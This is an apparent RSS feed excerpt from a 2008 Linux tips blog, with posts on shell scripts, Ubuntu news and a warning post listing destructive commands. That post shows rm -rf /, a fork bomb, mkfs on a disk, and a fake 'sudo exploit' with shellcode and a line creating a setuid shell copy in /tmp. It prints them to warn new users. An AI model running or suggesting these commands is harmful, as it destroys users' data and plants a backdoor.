		<guid isPermaLink="false">http://www.quicktweaks.com/?p=252</guid>
		<description><![CDATA[Who says Linux commands are just for geek people? And who says it is just a fun toy? Linux is simple yet productive, the only limitation is your imagination.


Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/' rel='bookmark' title='Permanent Link: 10 Linux commands for fun'>10 Linux commands for fun</a> <small>Here are few Linux commands you can play with for...</small></li></ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Happy Linux commanding!</p>
<p>Who says Linux commands are just for geek people? And who says it is just a fun toy? Linux is simple yet productive, the only limitation is your imagination. Those who argue me with me for Linux being simple, here is a popular saying:</p>
<blockquote><p>*NIX is basically a simple operating system, but you have to be a genius to understand the simplicity</p></blockquote>
<p><span id="more-252"></span></p>
<p>In this post, we will talk about few commands and write a couple of scripts (don&#8217;t worry, it will be damn simple). Some guys might blame that these commands/ scripts have no use and might shout &#8220;why the hell do we need that.&#8221; Remember, these are just the tools. It&#8217;s upto you how well you use these tools for your tasks. Also remember, one who discovers the alternative uses of a tool is often called a Genious. Let&#8217;s get started:</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p>1. Make Linux speak that he loves himself.</p>
<p><code>espeak "I Love Linux"</code></p>
<p>Now you should be asking why the hell I need that? Well, what about you have a document, or a story and someone in your family is blind, or can&#8217;t see nicely. You don&#8217;t have enough time reading the document for him/ her. Ask him to sit in front of a computer and run this: espeak &lt; documentName</p>
<p>We have more to do with <em>espeak</em>, you can even output the file to a .wav file or a .ogg file so that you can record them in a CD and mail to someone you care!</p>
<p>Still not impressed? What about making it to read your email, or run it in the background so that it alerts you whenever a new mail arrives in your Inbox and then reads the sender&#8217;s name, and subject. Also, if you are little ambitious, you can even make it say the weather, if the weather changes drastically. I won&#8217;t discuss how to make it read your mails, or weather; I&#8217;m just talking about possibility. When I get some time, I&#8217;m thinking to write a script which reads my Gmails. Just keep coming back!</p>
<p>2. Making your own commands.</p>
<p>You have heard Linux is highly customizable. How about writing your own simple command. We will write a small script which allows you a convenient way to change the directories, actually to go back several levels up. Let&#8217;s suppose you are inside <em>/home/yourhome/a/b/c/d/e/f/g/h/i/j</em> directory. You want to change the directory (cd) to several levels up. You can easily do this with somthing like <em>cd ../../../../..</em> But what about something as similar as up 3 which will take you 3 levels up</p>
<p>Fireup your favorite text editor and type the following (don&#8217;t be intimated by thinking that you are programming something, I will explain this script line by line, don&#8217;w worry!):</p>
<p><code>#!/bin/bash<br />
LEVEL=$1<br />
for ((i = 1; i &lt;= LEVEL; i++))<br />
do<br />
CDIR=../$CDIR<br />
done<br />
cd $CDIR<br />
echo "You are in: "$PWD<br />
exec /bin/bash</code></p>
<p>Save the file as up and issue following two commands:</p>
<p><code>$ chmod 755 ./up</code></p>
<p>$ sudo cp up /usr/bin</p>
<p>Now, from your home directory try using this command:<br />
<code><br />
$ up 2</code></p>
<p>Where are you at? At root directory! See how easy it was? Let&#8217;s see how our little script chef made pizza for us:</p>
<p><code>#! /bin/bash</code> -&gt; you are using bash script</p>
<p><code>LEVEL=$1</code> -&gt; $1 is the first parameter passed to this script assigned to LEVEL</p>
<p><code>for ((i = 1; i &lt;= LEVEL; i++))</code> -&gt; for some times (upto LEVEL)&#8230;<br />
<code>do </code> -&gt; &#8230;we will go round&#8230;<br />
<code>CDIR=../$CDIR </code> -&gt; &#8230;creating our path and assigning it to CDIR and&#8230;<br />
<code>done</code> -&gt; &#8230;when we are done&#8230;<br />
<code>cd $CDIR</code> -&gt; &#8230;we will change our directory to the path we have created above and&#8230;<br />
<code>echo "You are in: "$PWD </code> -&gt; &#8230;we will let you know where you are and finally&#8230;<br />
<code>exec /bin/bash</code> -&gt; &#8230;we are done so let&#8217;s get a new shell</p>
<p>That&#8217;s was not to easy but wasn&#8217;t too hard either. It is not too hard to ease your repetitive tasks with a single file and increase your productivity.</p>
<p>Let&#8217;s make another little script&#8230;</p>
<p>3. What do you usually do changing a directory? List it contents right? How about this little script?</p>
<p><code>#!/bin/bash</code></p>
<p>cd $1</p>
<p>ls</p>
<p>exec /bin/bash</p>
<p>That&#8217;s it! Save it as <em>cdls</em> or something like that and then issue this command:<br />
<code>$ chmod 755 &amp; sudo cp cdls /usr/bin</code></p>
<p>For Ubuntu users, if you want a script that keeps track of all your &#8220;apt-get&#8221; activities by posting them to your Twitter account,<a title="tapt" href="http://www.quicktweaks.com/tapt/" target="_blank"> try this little handy script</a>.</p>
<p>4. One more thing about <em>cd</em>. Which is the fastest and easiest cd command that take you to your home directory? <strong><em>cd /home/yourhome </em></strong>? <em><strong>cd ~</strong></em> ? <em><strong>cd</strong></em> itself!</p>
<p><code>$ cd</code></p>
<p>It takes you to your home directory</p>
<p>5. Tired of typing clear to clear your screen? Press <code>ctrl + l</code></p>
<p>That&#8217;s it for today. Happy Halloween!</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>


<p>Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/' rel='bookmark' title='Permanent Link: 10 Linux commands for fun'>10 Linux commands for fun</a> <small>Here are few Linux commands you can play with for...</small></li></ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/11/01/fun-with-linux-commands-iii-being-productive/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>CODEWEAVERS WILL BE GIVING AWAY CROSSOVER FOR FREE FOR ONE DAY</title>
		<link>http://www.quicktweaks.com/2008/10/27/codeweavers-will-be-giving-away-crossover-for-free-for-one-day/</link>
		<comments>http://www.quicktweaks.com/2008/10/27/codeweavers-will-be-giving-away-crossover-for-free-for-one-day/#comments</comments>
		<pubDate>Tue, 28 Oct 2008 02:13:21 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Installation]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Codeweaver]]></category>
		<category><![CDATA[crossover]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[FREE]]></category>
		<category><![CDATA[George Bush]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Wine]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=250</guid>
		<description><![CDATA[Codeweaver, the maker of crossover software which allows you to run Windows applications in Linux &#38; MacOS with the help of Wine, will be giving away its award wining software for free for one day.

Tomorrow, October 28, will be a day of joy for the Linux users who are looking to run some of the [...]


Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/01/07/kick-ass-guide-for-installing-oracle-on-ubuntu/' rel='bookmark' title='Permanent Link: Kick ass guide for installing Oracle on Ubuntu'>Kick ass guide for installing Oracle on Ubuntu</a> <small>Four steps for installing Oracle on Ubuntu. Steps by steps...</small></li></ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Codeweaver, the maker of crossover software which allows you to run Windows applications in Linux &amp; MacOS with the help of Wine, will be <a href="http://www.codeweavers.com/about/general/press/20081027/" target="_blank">giving away its award wining software for free for one day</a>.</p>
<p><span id="more-250"></span></p>
<p>Tomorrow, October 28, will be a day of joy for the Linux users who are looking to run some of the Windows Applications with Wine. Don&#8217;t forget to visit <a href="http://www.codeweavers.com/about/general/press/20081027/" target="_blank">Codeweaver&#8217;s home page</a> at least once tomorrow as they will give you a deal code which will allow you to download and use Crossover for free for your whole life. This will be a full version and will come with technical support. Did you bookmarked the site?</p>
<p>BTW, don&#8217;t forget to thanks George Bush for this. An excerpt from their press release:</p>
<blockquote><p>&#8220;I launched the campaign to inspire President Bush to make the most of his final days in office. Who knew that our Challenge would have this kind of impact on the country?&#8221; White said. &#8220;On the other hand, who knew that the economy would implode, causing oil demand to drop into the abyss and gas prices to plummet as well. Clearly, investigating Bear Stearns, AIG and those guys is misplaced – CodeWeavers is responsible for this mess. So it&#8217;s free software for all!&#8221;</p></blockquote>


<p>Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/01/07/kick-ass-guide-for-installing-oracle-on-ubuntu/' rel='bookmark' title='Permanent Link: Kick ass guide for installing Oracle on Ubuntu'>Kick ass guide for installing Oracle on Ubuntu</a> <small>Four steps for installing Oracle on Ubuntu. Steps by steps...</small></li></ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/10/27/codeweavers-will-be-giving-away-crossover-for-free-for-one-day/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Linux Talks: They talked about Linux</title>
		<link>http://www.quicktweaks.com/2008/10/24/linux-talks-they-talked-about-linux-2/</link>
		<comments>http://www.quicktweaks.com/2008/10/24/linux-talks-they-talked-about-linux-2/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 05:53:42 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Linux Talks]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=246</guid>
		<description><![CDATA[Some links for this weekend:

5 Wallpaper Changer Apps For Linux
Kubuntu 8.10 &#8216;Intrepid Ibex&#8217; Beta Screenshots Tour
WINE Developers Start On Direct3D 10 Support
Dell first ad &#8211; All About Ubuntu Linux
Fedora 10 &#8211; A Detailed Discussion on 13 Prime Features
Linux Foundation values Linux at $10.8 billion, kernel at $1.4 billion
Mac OS is better than Ubuntu Linux: A [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Some links for this weekend:</p>
<ul>
<li><a href="http://www.makeuseof.com/tag/5-wallpaper-changer-apps-for-linux/" target="_blank">5 Wallpaper Changer Apps For Linux</a></li>
<li><a href="http://tuxarena.blogspot.com/2008/10/kubuntu-810-intrepid-ibex-beta.html" target="_blank">Kubuntu 8.10 &#8216;Intrepid Ibex&#8217; Beta Screenshots Tour</a></li>
<li><a href="http://www.phoronix.com/scan.php?page=news_item&amp;px=NjgxMA" target="_blank">WINE Developers Start On Direct3D 10 Support</a></li>
<li><a href="http://www.tribbleagency.com/?p=2827" target="_blank">Dell first ad &#8211; All About Ubuntu Linux</a></li>
<li><a href="http://blog.taragana.com/index.php/archive/fedora-10-a-detailed-discussion-on-the-features/" target="_blank">Fedora 10 &#8211; A Detailed Discussion on 13 Prime Features</a></li>
<li><a href="http://www.tgdaily.com/content/view/39881/118/" target="_blank">Linux Foundation values Linux at $10.8 billion, kernel at $1.4 billion</a></li>
<li><a href="http://prosenjit23.wordpress.com/2008/10/21/ubuntu-vs-mac-os-truths-and-myths/" target="_blank">Mac OS is better than Ubuntu Linux: A myth</a></li>
<li><a href="http://helpforlinux.blogspot.com/2008/10/5-gmail-notifiers-for-linux.html" target="_blank">5 Gmail Notifiers For Linux</a></li>
<li><a href="http://www.tectonic.co.za/?p=3447" target="_blank">Ubuntu explains OpenOffice.org 3.0 decision </a></li>
<li><a href="http://www.ubuntukungfu.org/blog/2008/09/9-tips-for-ubuntu-notebook-users/" target="_blank">9 tips for Ubuntu notebook users</a></li>
</ul>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/10/24/linux-talks-they-talked-about-linux-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Fun with Linux Commands-II &#8211; With Power Comes Responsibility</title>
		<link>http://www.quicktweaks.com/2008/10/24/fun-with-linux-commands-ii-with-power-comes-responsibility/</link>
		<comments>http://www.quicktweaks.com/2008/10/24/fun-with-linux-commands-ii-with-power-comes-responsibility/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 02:43:04 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[TerminalFunFive]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Terminal]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=244</guid>
		<description><![CDATA[Happy Linux Commanding! But be careful!
The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something&#8217;s strength remember what Uncle Ben said.
When you are new to Linux you often seek to get help from others and almost most of the advices [...]


Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/' rel='bookmark' title='Permanent Link: 10 Linux commands for fun'>10 Linux commands for fun</a> <small>Here are few Linux commands you can play with for...</small></li></ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Happy Linux Commanding! But be careful!</p>
<p>The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something&#8217;s strength remember what <a title="Uncle Ben says Linux is powerful ;-)" href="http://www.imdb.com/title/tt0145487/quotes" target="_blank">Uncle Ben said</a>.</p>
<p>When you are new to Linux you often seek to get help from others and almost most of the advices you get will be in the form of some commands such as<code> ps, top, modprobe, lspci</code> etc. Be careful when you run these commands as some <a title="Harmful tips for Linux" href="http://linsux.org/index.php?topic=96.0" target="_blank">Anti-Linux a**holes try to fool new Linux users in the name of tips and tutorials</a>.If after following such command(s), you lose all your files, no one is to be blamed but you.</p>
<p><span id="more-244"></span></p>
<p>If you want save yourself, here is one principle: Be aware of what you are doing! Just don&#8217;t do what someone suggest you. Fireup <em>man</em> page, look what the command is about. This way you can learn a couple of more options too. If you are in doubt about the commands, go to a couple of forums and put all information you have such as: <strong>Hello I was trying to do this, and a guy from <em>forum.xyz.com</em> suggest me to issue this command. I suspect this is a harmful command. Any suggestions?</strong> Take my words, Linux carries a strong spirit with it &#8211; spirit to share knowledge. And you will get some good explanatory suggestions very quickly. If you are still in doubt, I suggest you to issue the commands inside virtual OS:</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p>Last thing first. Today I will be posting some harmful Linux commands. DO NOT ISSUE THESE COMMANDS! These commands are just for your information. These commands are not made for making harm to your computer, but with a couple of options it can be very dangerous. After all Linux doesn&#8217;t know that a folder inside your home directory contains your first girlfriend&#8217;s picture! It is your duty to ensure they are safe. Let&#8217;s get started. I repeat <strong>DON&#8217;T ISSUE THESE COMMANDS</strong>. If you want to test, I suggest you to run them inside a virtual Linux OS.</p>
<p>1. The king of all devils:</p>
<p><code>rm -rf /</code></p>
<p>Q. What does <em>rm</em> do?</p>
<p>A. Removes a file</p>
<p>Q. What is <em>r</em>?</p>
<p>A. Recursion. That means inside a folder, of a folder, of a folder and so on</p>
<p>Q. what is <em>f</em>?</p>
<p>A. Force. It means you are saying to the command<em> &#8220;Never ask me anything. Just do what you want to do&#8221;</em></p>
<p>Q. What is <em>/</em></p>
<p>A. Your <em>ROOT</em> directory!</p>
<p>See what it does? <em>Recursively removes all the files inside your root directory without nagging you &#8211; &#8220;Should I delete this?&#8221;<br />
</em><br />
There are various versions of <em>rm</em> available such as:</p>
<p><em>rm -rf .<br />
rm -rf *</em></p>
<p>Not only someone from outside, you yourself can screw up things sometimes. Little knowledge is dangerous! How about this &#8211; you want to delete all the hidden files inside a directory. That&#8217;s easy right? Hidden files are denoted with <strong>.</strong> in front so you might be thinking this command <strong><code>rm - .*</code></strong> Nooooooooooo!!! It will delete all the files one level up of the current directory.</p>
<p>2. How about backing up your home directory or some folders? Never try to do anything such as:</p>
<p><code>mv /home/yourhomedirectory/* /dev/null</code></p>
<p>Q. What is <em>mv</em>?</p>
<p>A. Move files</p>
<p>Q. What is <em>dev/null</em>?</p>
<p>A. Null means nothing. In other words, it is a black-hole.</p>
<p>If you issue above command, it will move all the files inside your home directory to a blackhole.</p>
<p>3. Linux Terminal is not a toy to play, it&#8217;s something to learn and do some productive things. I just mean to warn you don&#8217;t type anything silly and hit enter such as this:</p>
<p><code> <img src='http://www.quicktweaks.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</code></p>
<p>Those seem like emoticons but they are actually shell programming stuffs and have special meaning. The above command executes different process freezing your computer and you will get a BSOD, a sort of! <img src='http://www.quicktweaks.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>4. How about making a Linux filesystem?</p>
<p><code>mkfs.ext3 /dev/sda</code></p>
<p>You hard disk&#8217;s data are gone, and will never come back again. That was a poor farewell party for your documents.</p>
<p>5. Do you know eyes and your knowledge both can lie? Well sometimes. What do you see in the following C file written by someone claiming <a title="sudo off-by-one poc exploit" href="http://seclists.org/fulldisclosure/2007/Aug/0071.html" target="_blank">New sudo off-by-one poc exploit</a>? Any sign of devil?</p>
<blockquote><p><code>...</code></p>
<p>char esp[] __attribute__ ((section(&#8221;.text&#8221;))) /* e.s.p<br />
release */<br />
= &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;<br />
&#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;<br />
&#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;<br />
&#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;<br />
&#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;<br />
&#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;<br />
&#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;<br />
&#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;&#8221;;</p>
<p>&#8230;</p></blockquote>
<p>Well this is a hex coded version of <code><strong>rm -rf ~ / &amp;</strong></code> . This does nothing more than wiping off your home directory.</p>
<p>These are only a few guidelines you need to follow. If you know some more, drop them in comments.</p>
<p>If you want to learn Linux, conquer its power, have fun, and be productive, you need to be careful, helpful, and share your knowledge. If you have any knowledge on Linux that you want to share, let us know in comments or shoot me an email.</p>
<p>So what did you learn today?</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>


<p>Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/' rel='bookmark' title='Permanent Link: 10 Linux commands for fun'>10 Linux commands for fun</a> <small>Here are few Linux commands you can play with for...</small></li></ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/10/24/fun-with-linux-commands-ii-with-power-comes-responsibility/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Ubuntu 8.10 RC1 is here</title>
		<link>http://www.quicktweaks.com/2008/10/23/ubuntu-810-rc1-is-here/</link>
		<comments>http://www.quicktweaks.com/2008/10/23/ubuntu-810-rc1-is-here/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 23:38:11 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Installation]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[rc]]></category>
		<category><![CDATA[release]]></category>
		<category><![CDATA[theme]]></category>
		<category><![CDATA[ubutnu]]></category>
		<category><![CDATA[USBLive]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=238</guid>
		<description><![CDATA[A week before the final release of Ubuntu 8.10, the guys at Canonical has released the last testing version RC1. Since this is only RC1, no changes in the features was expected. As discussed in my previous post, two system tools USBLive and System Cleaner, will be bundled with Ubuntu 8.10, change of the wallpaper, [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>A week before the final release of Ubuntu 8.10, the guys at Canonical has released the last testing version RC1. Since this is only RC1, no changes in the features was expected. As discussed in my <a href="http://www.quicktweaks.com/2008/10/22/intrepid-ibex-to-be-bundled-with-two-more-system-tools/" target="_blank">previous post</a>, two system tools USBLive and System Cleaner, will be bundled with Ubuntu 8.10, change of the wallpaper, integrating a new Dark Room theme are among the noticeable changes in this version. <a href="http://www.ubuntu.com/testing/intrepid/beta" target="_blank">Get Ubuntu 8.10 RC1 from here.</a></p>
<p style="text-align: center;"><a href="http://www.quicktweaks.com/wp-content/uploads/2008/10/sc1.png"><img class="size-thumbnail wp-image-240 aligncenter" title="sc1" src="http://www.quicktweaks.com/wp-content/uploads/2008/10/sc1-150x150.png" alt="" width="150" height="150" /></a></p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/10/23/ubuntu-810-rc1-is-here/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intrepid Ibex to be Bundled with Two More System Tools</title>
		<link>http://www.quicktweaks.com/2008/10/22/intrepid-ibex-to-be-bundled-with-two-more-system-tools/</link>
		<comments>http://www.quicktweaks.com/2008/10/22/intrepid-ibex-to-be-bundled-with-two-more-system-tools/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 01:10:57 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[disk]]></category>
		<category><![CDATA[Installation]]></category>
		<category><![CDATA[Intrepid Ibex]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[tapt]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=236</guid>
		<description><![CDATA[Intrepid Ibex, which is due to release on 30th of this month, will be packed with two very useful system tools.


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Canonical, the distributor of Ubuntu OS, is often blamed for not listening the community such as ignoring the request for changing/improving default appearance. But not this time. Ever since they launched <a title="brainstorm.ubuntu.com" href="http://brainstorm.ubuntu.com" target="_blank">brainstorm.ubuntu.com</a>, they have been very responsive about what the Ubuntu fans want. As a result of this Intrepid Ibex, which is due to release on 30th of this month, will be packed with two very useful system tools:</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p style="text-align: center;"><span id="more-236"></span></p>
<p>Just few days ago, I wrote a post on <a title="live USB Ubuntu disk in three easy steps" href="http://www.quicktweaks.com/2008/10/20/three-easy-steps-to-make-a-pen/" target="_blank">making a live Ubuntu usb disk in three easy steps</a>. Integrating a live USB maker tool into Ubuntu default installation has been <a title="Live USB" href="http://brainstorm.ubuntu.com/idea/16/" target="_blank">one of the popular requests</a> on brainstorm site.</p>
<div id="attachment_232" class="wp-caption alignright" style="width: 234px"><a href="http://www.quicktweaks.com/wp-content/uploads/2008/10/screenshot-8.png"><img class="size-medium wp-image-232" title="USBLive" src="http://www.quicktweaks.com/wp-content/uploads/2008/10/screenshot-8-224x300.png" alt="USBLive Ubuntu" width="224" height="300" /></a><p class="wp-caption-text">USBLive Ubuntu</p></div>
<p>A new application USBLive has started showing up in Ibex beta. As you might have guessed, this handy tool helps you to make pizza. Just kidding! Of course, it allows you to make a USB bootable disk with Ubuntu in it. Just give the source image (.iso) file or insert a live CD, plug-in your USB drive, adjust the space to be reserved by the default installation, and click <em>Make Startup Disk</em>. How easy as that? You can access USBLive from <em>System&gt;Administration&gt;Create Startup</em> <em>Disk</em> menu</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p>Another system tool that has been included is <em>System Cleaner</em>. It cleans up your system to make it</p>
<div id="attachment_233" class="wp-caption alignright" style="width: 290px"><a href="http://www.quicktweaks.com/wp-content/uploads/2008/10/screenshot-7.png"><img class="size-medium wp-image-233" title="Ubuntu System Cleaner" src="http://www.quicktweaks.com/wp-content/uploads/2008/10/screenshot-7-280x300.png" alt="System Cleaner" width="280" height="300" /></a><p class="wp-caption-text">System Cleaner</p></div>
<p>&#8216;kinda-new&#8217;. You can clean all the installed applications or select only those which you are not going to use any more. Access System Cleaner from <em>Applications&gt;System Tools&gt;System</em> Cleaner menu At first, you might think removing the applications can already be done with <em>Add/Remove </em>tool. So, what&#8217;s the difference? Nothing! It just gives you a list of those applications which you have installed after running up Ubuntu for the first time. No confusions whatsoever. It comes very handy when, for an example, you don&#8217;t want to poke the default applications but only want to remove those non-sense applications which you gave try few days ago. BTW, if you want to track all you apt activities, the ever useful <a title="tapt" href="http://www.quicktweaks.com/tapt/" target="_blank">tapt</a> is always there.</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/10/22/intrepid-ibex-to-be-bundled-with-two-more-system-tools/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 1.271 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2009-11-28 14:12:26 -->
<!-- Compression = gzip -->